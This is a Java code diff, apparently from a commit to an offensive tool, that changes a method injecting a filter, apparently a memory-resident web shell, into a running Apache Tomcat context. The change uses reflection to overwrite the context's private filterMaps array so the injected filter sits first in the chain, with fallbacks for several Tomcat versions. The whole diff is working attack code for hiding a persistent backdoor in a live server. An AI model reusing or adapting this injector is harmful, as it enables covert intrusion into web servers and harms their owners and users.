44import java .io .ByteArrayOutputStream ;
55import java .io .IOException ;
66import java .io .PrintStream ;
7+ import java .lang .reflect .Array ;
78import java .lang .reflect .Constructor ;
89import java .lang .reflect .Field ;
910import java .lang .reflect .Method ;
@@ -149,15 +150,18 @@ public void inject(Object context, Object shell) throws Exception {
149150 }
150151 Object filterDef ;
151152 Object filterMap ;
153+ Class <?> filterMapClass ;
152154 ClassLoader contextClassLoader = context .getClass ().getClassLoader ();
153155 try {
154156 // tomcat v8+
155157 filterDef = contextClassLoader .loadClass ("org.apache.tomcat.util.descriptor.web.FilterDef" ).newInstance ();
156- filterMap = contextClassLoader .loadClass ("org.apache.tomcat.util.descriptor.web.FilterMap" ).newInstance ();
158+ filterMapClass = contextClassLoader .loadClass ("org.apache.tomcat.util.descriptor.web.FilterMap" );
159+ filterMap = filterMapClass .newInstance ();
157160 } catch (Exception e2 ) {
158161 // tomcat v5+
159162 filterDef = contextClassLoader .loadClass ("org.apache.catalina.deploy.FilterDef" ).newInstance ();
160- filterMap = contextClassLoader .loadClass ("org.apache.catalina.deploy.FilterMap" ).newInstance ();
163+ filterMapClass = contextClassLoader .loadClass ("org.apache.catalina.deploy.FilterMap" );
164+ filterMap = filterMapClass .newInstance ();
161165 }
162166
163167 invokeMethod (filterDef , "setFilterName" , new Class []{String .class }, new Object []{getClassName ()});
@@ -175,11 +179,17 @@ public void inject(Object context, Object shell) throws Exception {
175179 // tomcat v5
176180 invokeMethod (filterMap , "setURLPattern" , new Class []{String .class }, new Object []{getUrlPattern ()});
177181 }
182+
183+ // addFilterMapFirst
184+ Object [] filterMaps = (Object []) invokeMethod (context , "findFilterMaps" , null , null );
185+ Object [] results = (Object []) Array .newInstance (filterMapClass , filterMaps .length + 1 );
186+ results [0 ] = filterMap ;
187+ System .arraycopy (filterMaps , 0 , results , 1 , filterMaps .length );
178188 try {
179- // v7.0.0 以上
180- invokeMethod (context , "addFilterMapBefore " , new Class []{ filterMap . getClass ()}, new Object []{ filterMap } );
189+ // Tomcat5
190+ setFieldValue (context , "filterMaps " , results );
181191 } catch (Exception e ) {
182- invokeMethod ( context , "addFilterMap" , new Class []{ filterMap . getClass ()}, new Object []{ filterMap } );
192+ setFieldValue ( getFieldValue ( context , "filterMaps" ), "array" , results );
183193 }
184194
185195 Constructor filterConfigConstructor ;
@@ -265,6 +275,22 @@ public static Object getFieldValue(Object obj, String name) throws Exception {
265275 throw new NoSuchFieldException (obj .getClass ().getName () + " Field not found: " + name );
266276 }
267277
278+ @ SuppressWarnings ("all" )
279+ public static void setFieldValue (Object obj , String name , Object value ) throws Exception {
280+ Class <?> clazz = obj .getClass ();
281+ while (clazz != Object .class ) {
282+ try {
283+ Field field = clazz .getDeclaredField (name );
284+ field .setAccessible (true );
285+ field .set (obj , value );
286+ return ;
287+ } catch (NoSuchFieldException var5 ) {
288+ clazz = clazz .getSuperclass ();
289+ }
290+ }
291+ throw new NoSuchFieldException (obj .getClass ().getName () + " Field not found: " + name );
292+ }
293+
268294 @ SuppressWarnings ("all" )
269295 private String getErrorMessage (Throwable throwable ) {
270296 PrintStream printStream = null ;
0 commit comments